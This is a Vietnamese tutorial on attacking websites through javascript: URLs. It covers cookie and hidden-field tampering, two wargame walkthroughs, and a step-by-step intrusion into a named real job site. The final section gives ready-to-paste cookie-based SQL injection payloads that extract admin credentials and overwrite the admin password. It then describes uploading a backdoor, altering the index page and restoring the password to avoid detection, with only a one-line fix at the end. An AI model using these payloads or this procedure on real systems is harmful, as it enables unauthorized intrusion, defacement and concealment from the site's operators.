Hack web bằng JavaScript-Inline
trang này đã được đọc lầnTrong bài viết này mình sẽ giới thiệu với các bạn về kĩ thuật hack web chỉ dùng JavaScript. Với kĩ thuật này, bạn có thể xem xét và hiệu chỉnh giá trị của các cookie hoặc trường ẩn trực tiếp ngay trên trang web. Tất cả chỉ với một trình duyệt web hổ trợ "debug javascript-inline", chẳng hạn như Internet Explorer, Netscape hay Mozilla, ...
Cơ bản về JavaScript-Inline
Đa số các trình duyệt web đều hổ trợ JavaScript-Inline. Bạn có thể thi hành JavaScript bằng cách gõ vào thanh URL như sau:
javascript:void(<đặt lệnh JavaScritpt ngay tại đây!>)
Ví dụ:
Để xem giá trị hiện tại của cookie, bạn gõ "javascript:alert(document.cookie)"
Hoặc để thay đổi giá trị của trường ẩn "hiddenid" của form đầu tiên thành "2", bạn gõ "javascript:void(document.forms[0].hiddenid.value="2")"
...
Một số đối tượng thông dụng khi thao tác với JavaScript-Inline là:
document.cookie - chứa giá trị của cookie
document.forms[0].FieldName.value - lấy giá trị của trường trong form
document.forms[0].SelectName.options[0].value - giá trị của trường selection trong form
(xem hướng dẫn về JavaScript tại trang web
http://hotwired.lycos.com/webmonkey/programming/javascript/tutorials/jstutorial_index.html)Một vài ví dụ về hack web bằng JavaScript-Inline
http://scifi.pages.at/hackits/stufe4code.htm
Mã nguồn HTML có đoạn như sau:
...
var a=unescape("%43%4f%44%45%5a");
function check()
{
if (document.a.c.value == a)
{
document.location.href="http://scifi.pages.at/hackits/"+document.a.c.value+".htm";
}
else
{
alert ("wrong! - letter size?");
}
}
}
...
Đơn giản bạn có thể gõ thẳng vào thanh URL của IE như sau: "javascript:alert(unescape(a))" (không có dấu ") để lấy password của level tiếp theo ("CODEZ")
http://www.hackthissite.org/missions/mission8/
Realistic mission 8 trên hackthisite.org yêu cầu bạn chuyển 10 triệu đô từ tài khoản của "Gary Hunter" vào tài khoản "dropCash". Sau khi bạn dùng SQL-Injection để lấy username của "Gary Hunter", bạn tiến hành chuyển tiền như sau:
Đăng nhập vào tài khoản của bạn. Trên thanh URL của IE bạn gõ vào: "javascript:void(document.write('<form name=the_form action=movemoney.php method=post><input type=hidden name=FROM value=GaryWilliamHunter><input type=hidden name=TO value=dropCash><input type=hidden name=AMOUNT value=10000000><input type=submit value="Move Money To A Different Account"></form>'))"
Đoạn JavaScript trên sẽ tạo một form với trường ẩn FROM=GaryWilliamHunter, TO=dropCash, AMOUNT=10000000
Bây giờ bạn thay đổi cookie lại như sau:
javascript:void(document.cookie="accountUsername=GaryWilliamHunter")
javascript:void(document.cookie="accountPassword=GaryWilliamHunter")
Ấn nút "Move Money To A Different Account" một cái là xong.
Mình nghĩ rất có khả năng là mission 8 tạo một session("LoggedIn"). Mỗi lần chúng ta đăng nhập vào nó sẽ đặt session("LoggedIn")=1. Chúng ta chỉ cần thay đổi lại giá trị của cookie và trường ẩn để thực hiện việc chuyển tiền trong session của chúng ta vì nó chỉ kiểm tra sesion("LoggedIn")=1 mà không kiểm tra username thực sự là ai.
Ví dụ cuối cùng, mình sẽ trình bày về cách hack trang web http://www.mangvieclam.com/.
Sau khi đã đăng nhập vào mangvieclam.com, bạn gõ vào thanh URL dòng "javascript:alert(document.cookie)" để xem cookie.
Ban có thể thay đổi thông tin cá nhân của một user bất kì trên mangvieclam.com bằng cách đổi lại cookie username như sau: javascript:void(document.cookie="username=tên user"), sau đó chọn mục "Cập nhập thông tin"
Bạn cũng có thể thay đổi password của một user bất kì trên mangvieclam.com sau khi đã login vào với account của mình như sau: chọn mục "Thay đổi mật khẩu", gõ dòng "javascript:void(document.cookie="username=tên user"+escape("' or '1'='1"))" vào thanh URL, nhập password cũ là gì cũng được và password mới, sau đó ấn nút "Thay đổi mật khẩu".
Lỗi này nằm trong file icl/filerec/detail.asp, dòng thứ 43..65. Ví dụ, khi bạn set cookie username là "trungkien' or '1'='1", các câu lệnh SQL sau sẽ được thực thi:
Select Count(UserID) As Check From tblUserInfo Where UserID = 'trungkien' or '1'='1' And Passwords='md5(password cũ sai)' And Active = 1982 // luôn trả về true do điều kiện or '1'='1' đúng mặc dù password cũ sai
Update tblUserInfo Set Passwords = 'md5(password mới)' Where UserID = 'trungkien' or '1'='1' And Active = 1982 // luôn set password mới cho user "trungkien" do điều kiện UserID = 'trungkien' đúng trước điều kiện '1'='1'
Rất tiếc là lỗi này không thể khai thác trên http://www.mangvieclam.com/ do lỗi lập trình.
Select Count(UserID) As Check From tblUserInfo Where UserID = N'trungkien' or '1'='1' And Passwords = N'...' And Active = 1982
Tuy nhiên, website http://www.mangvieclam.com/ dùng CSDL MS-SQL nên mình dễ dàng lấy được username và password của admin từ tblConfig như sau:
Đầu tiên mình lấy username bằng "javascript:void(document.cookie="username="+escape("' or 1=convert(int,(select adminid from tblconfig where accid=1))--"))"
Chọn mục "Cập nhập thông tin"
Tên đăng nhâp của admin là 'ngtuan'
Tương tự mình lấy password của admin bằng "javascript:void(document.cookie="username="+escape("' or 1=convert(int,(select adminpass from tblconfig where accid=1))--"))"
Bây giờ mình đặt lại password mới là 'hacked'
<? echo substr(md5("hacked"),1,10); // d4098d64e1 ?>
"javascript:void(document.cookie="username="+escape("';update tblconfig set adminpass='d4098d64e1' where accid=1--"))"
Tiếp theo mình đăng nhập vào "admin-cp" với username là ngtuan và password là hacked:
<form action=http://www.mangvieclam.com/log.asp method=post>
username: <input type=text name=username><br>
password: <input type=password name=password><br>
<input type=hidden name=ChoseLogin value=3>
<input type=hidden name=mod value=1>
<input type=submit value=login>
</form>
Upload backdoor và thay đổi trang index.asp. Sau đó restore lại pasword cũ cho admin để tránh bị phát hiện:
"javascript:void(document.cookie="username="+escape("';update tblconfig set adminpass='...' where accid=1--"))"
Một giải pháp cho mangvieclam.com là bạn nên chuyển biến Request.Cookies("UserName") thành biến phiên Session("UserName") để tránh bị giả mạo username như ở trên.